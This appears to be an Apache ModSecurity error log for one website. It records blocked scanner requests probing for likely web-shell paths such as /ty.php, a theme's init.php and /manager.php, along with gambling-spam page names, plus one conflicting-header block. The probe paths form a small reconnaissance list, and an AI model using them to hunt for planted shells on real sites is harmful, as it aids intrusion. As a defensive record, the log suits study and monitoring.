[Thu Jan 29 08:04:34.608415 2026] [:error] [pid 19069:tid 19079] [client 20.219.59.84:19559] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ty.php"] [unique_id "aXqkEvDHsRM4BJ9a4Qt6AAAAAAE"]
[Thu Jan 29 08:04:35.147366 2026] [:error] [pid 20578:tid 20614] [client 20.219.59.84:19441] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ty.php"] [unique_id "aXqkEw6UX7yOMwQFiyec1QAAAgE"]
[Thu Jan 29 08:04:35.449910 2026] [:error] [pid 20580:tid 20684] [client 20.219.59.84:19478] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ty.php"] [unique_id "aXqkE5CZ5HHdXPmeL59qjQAAApA"]
[Thu Jan 29 08:04:35.776030 2026] [:error] [pid 20580:tid 20672] [client 20.219.59.84:19489] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/wp-pridmag/init.php"] [unique_id "aXqkE5CZ5HHdXPmeL59qjgAAAoQ"]
[Thu Jan 29 08:04:36.091442 2026] [:error] [pid 19071:tid 19150] [client 20.219.59.84:46284] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/wp-pridmag/init.php"] [unique_id "aXqkFJfa8Ix5wWmtmJzE1QAAAJE"]
[Thu Jan 29 08:04:36.605437 2026] [:error] [pid 20579:tid 20661] [client 20.219.59.84:19507] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/wp-pridmag/init.php"] [unique_id "aXqkFDVXNopcNyjJc9WEQgAAAlQ"]
[Thu Jan 29 08:04:37.045852 2026] [:error] [pid 20578:tid 20624] [client 20.219.59.84:19468] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/wp-pridmag/init.php"] [unique_id "aXqkFQ6UX7yOMwQFiyec1wAAAgs"]
[Thu Jan 29 08:04:37.435617 2026] [:error] [pid 19069:tid 19096] [client 20.219.59.84:19573] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ki1k.php"] [unique_id "aXqkFfDHsRM4BJ9a4Qt6AwAAABI"]
[Thu Jan 29 08:04:37.963266 2026] [:error] [pid 20579:tid 20668] [client 20.219.59.84:19398] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ki1k.php"] [unique_id "aXqkFTVXNopcNyjJc9WERgAAAlg"]
[Thu Jan 29 08:04:38.403361 2026] [:error] [pid 19070:tid 19114] [client 20.219.59.84:19516] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ki1k.php"] [unique_id "aXqkFrou83lIon_aKgY4BwAAAEg"]
[Thu Jan 29 08:04:38.769347 2026] [:error] [pid 20486:tid 20503] [client 20.219.59.84:19515] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ki1k.php"] [unique_id "aXqkFngqSZb6GBx5nnMXLwAAAQ4"]
[Thu Jan 29 08:04:39.216818 2026] [:error] [pid 20486:tid 20504] [client 20.219.59.84:19404] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/manager.php"] [unique_id "aXqkF3gqSZb6GBx5nnMXMQAAAQ8"]
[Thu Jan 29 08:04:39.943788 2026] [:error] [pid 20486:tid 20510] [client 20.219.59.84:19405] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/manager.php"] [unique_id "aXqkF3gqSZb6GBx5nnMXNAAAARU"]
[Thu Jan 29 08:04:40.281724 2026] [:error] [pid 20486:tid 20498] [client 20.219.59.84:19346] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/manager.php"] [unique_id "aXqkGHgqSZb6GBx5nnMXNwAAAQk"]
[Thu Jan 29 08:04:40.764885 2026] [:error] [pid 20519:tid 20557] [client 20.219.59.84:19350] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/manager.php"] [unique_id "aXqkGAo4s4fyROrkyRlZVgAAAYk"]
[Thu Jan 29 08:04:41.626598 2026] [:error] [pid 20486:tid 20494] [client 20.219.59.84:19534] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aXqkGXgqSZb6GBx5nnMXPAAAAQU"]
[Thu Jan 29 08:04:46.362493 2026] [:error] [pid 19177:tid 19201] [client 20.219.59.84:19500] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aXqkHnipGz0PT8TrQv4H-gAAANY"]
[Thu Jan 29 08:04:46.708866 2026] [:error] [pid 19071:tid 19137] [client 20.219.59.84:19455] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aXqkHpfa8Ix5wWmtmJzE5gAAAIQ"]
[Thu Jan 29 08:04:47.245276 2026] [:error] [pid 19071:tid 19156] [client 20.219.59.84:19543] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aXqkH5fa8Ix5wWmtmJzE6QAAAJc"]
[Thu Jan 29 08:04:47.579157 2026] [:error] [pid 19069:tid 19086] [client 20.219.59.84:19487] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aXqkH_DHsRM4BJ9a4Qt6EwAAAAg"]
[Thu Jan 29 08:04:48.066886 2026] [:error] [pid 19069:tid 19092] [client 20.219.59.84:19494] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes.php"] [unique_id "aXqkIPDHsRM4BJ9a4Qt6FQAAAA4"]
[Thu Jan 29 08:04:48.616539 2026] [:error] [pid 20519:tid 20570] [client 20.219.59.84:19501] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes.php"] [unique_id "aXqkIAo4s4fyROrkyRlZXAAAAZY"]
[Thu Jan 29 08:04:49.382348 2026] [:error] [pid 20580:tid 20674] [client 20.219.59.84:19461] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes.php"] [unique_id "aXqkIZCZ5HHdXPmeL59qmwAAAoY"]
[Thu Jan 29 08:04:49.802783 2026] [:error] [pid 20580:tid 20689] [client 20.219.59.84:19415] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes.php"] [unique_id "aXqkIZCZ5HHdXPmeL59qnAAAApU"]
[Thu Jan 29 08:04:50.364497 2026] [:error] [pid 20579:tid 20664] [client 20.219.59.84:46327] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aXqkIjVXNopcNyjJc9WEVwAAAlY"]
[Thu Jan 29 08:04:50.919923 2026] [:error] [pid 20576:tid 20604] [client 20.219.59.84:19406] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aXqkIirDZws_FlQGi9fnWAAAAdI"]
[Thu Jan 29 08:04:51.429196 2026] [:error] [pid 20576:tid 20608] [client 20.219.59.84:19517] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aXqkIyrDZws_FlQGi9fnWgAAAdY"]
[Thu Jan 29 08:04:51.967048 2026] [:error] [pid 20576:tid 20597] [client 20.219.59.84:19371] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aXqkIyrDZws_FlQGi9fnXQAAAcs"]
[Thu Jan 29 11:40:12.826961 2026] [:error] [pid 20519:tid 20572] [client 43.159.149.216:55940] [client 43.159.149.216] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aXrWnAo4s4fyROrkyRl_UAAAAZg"]
[Thu Jan 29 12:03:32.213716 2026] [:error] [pid 19069:tid 19084] [client 217.182.195.179:45094] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aXrcFPDHsRM4BJ9a4Quv5gAAAAY"]
[Thu Jan 29 12:03:34.753140 2026] [:error] [pid 20578:tid 20627] [client 217.182.195.179:50826] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aXrcFg6UX7yOMwQFiyfMCgAAAg4"]
[Thu Jan 29 12:03:37.354700 2026] [:error] [pid 20486:tid 20489] [client 217.182.195.179:50836] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aXrcGXgqSZb6GBx5nnNxUQAAAQA"]
[Thu Jan 29 12:03:39.710837 2026] [:error] [pid 19177:tid 19192] [client 217.182.195.179:45466] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aXrcG3ipGz0PT8TrQv4yvwAAAM0"]
[Thu Jan 29 12:03:42.563750 2026] [:error] [pid 19070:tid 19122] [client 217.182.195.179:45472] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aXrcHrou83lIon_aKgZ1dAAAAFA"]
[Thu Jan 29 12:03:45.554375 2026] [:error] [pid 20576:tid 20602] [client 217.182.195.179:45484] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aXrcISrDZws_FlQGi9cSYAAAAdA"]
[Thu Jan 29 12:03:49.231567 2026] [:error] [pid 20578:tid 20631] [client 217.182.195.179:39292] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aXrcJQ6UX7yOMwQFiyfMFAAAAhI"]
[Thu Jan 29 12:03:52.742746 2026] [:error] [pid 20486:tid 20496] [client 217.182.195.179:39306] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aXrcKHgqSZb6GBx5nnNxbQAAAQc"]
[Thu Jan 29 12:03:55.864012 2026] [:error] [pid 20486:tid 20505] [client 217.182.195.179:39314] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "aXrcK3gqSZb6GBx5nnNxdwAAARA"]
[Thu Jan 29 12:03:59.617475 2026] [:error] [pid 20486:tid 20504] [client 217.182.195.179:41342] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aXrcL3gqSZb6GBx5nnNxfgAAAQ8"]
[Thu Jan 29 12:04:04.293745 2026] [:error] [pid 20580:tid 20677] [client 217.182.195.179:41346] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aXrcNJCZ5HHdXPmeL5-fXwAAAok"]
[Thu Jan 29 12:04:09.087050 2026] [:error] [pid 20486:tid 20497] [client 217.182.195.179:41358] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aXrcOXgqSZb6GBx5nnNxlwAAAQg"]
[Thu Jan 29 12:04:15.357625 2026] [:error] [pid 20579:tid 20651] [client 217.182.195.179:43778] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "aXrcPzVXNopcNyjJc9WzWQAAAko"]
[Thu Jan 29 12:04:19.765745 2026] [:error] [pid 20486:tid 20506] [client 217.182.195.179:33440] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aXrcQ3gqSZb6GBx5nnNxqAAAARE"]
[Thu Jan 29 12:04:22.505332 2026] [:error] [pid 19069:tid 19096] [client 217.182.195.179:33448] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "aXrcRvDHsRM4BJ9a4QuwKAAAABI"]
[Thu Jan 29 12:04:26.798223 2026] [:error] [pid 19071:tid 19134] [client 217.182.195.179:33454] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aXrcSpfa8Ix5wWmtmJwMAQAAAIE"]
[Thu Jan 29 12:04:56.861426 2026] [:error] [pid 19177:tid 19201] [client 217.182.195.179:41410] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aXrcaHipGz0PT8TrQv4zLgAAANY"]
[Thu Jan 29 12:04:59.609790 2026] [:error] [pid 19069:tid 19091] [client 217.182.195.179:54044] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aXrca_DHsRM4BJ9a4QuwYAAAAA0"]
[Thu Jan 29 12:05:02.576703 2026] [:error] [pid 20576:tid 20604] [client 217.182.195.179:54050] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aXrcbirDZws_FlQGi9cTDgAAAdI"]
[Thu Jan 29 12:05:05.371056 2026] [:error] [pid 19069:tid 19095] [client 217.182.195.179:54066] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aXrccfDHsRM4BJ9a4QuwagAAABE"]
[Thu Jan 29 12:05:08.119257 2026] [:error] [pid 19177:tid 19181] [client 217.182.195.179:54072] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aXrcdHipGz0PT8TrQv4zOgAAAMI"]
[Thu Jan 29 12:05:10.802481 2026] [:error] [pid 19069:tid 19078] [client 217.182.195.179:33228] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aXrcdvDHsRM4BJ9a4QuwcQAAAAA"]
[Thu Jan 29 12:05:13.311129 2026] [:error] [pid 19177:tid 19202] [client 217.182.195.179:33240] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aXrceXipGz0PT8TrQv4zQgAAANc"]
[Thu Jan 29 12:05:16.144673 2026] [:error] [pid 20519:tid 20552] [client 217.182.195.179:33244] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aXrcfAo4s4fyROrkyRmEZgAAAYQ"]
[Thu Jan 29 12:05:19.104993 2026] [:error] [pid 19071:tid 19152] [client 217.182.195.179:50430] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aXrcf5fa8Ix5wWmtmJwMSQAAAJM"]
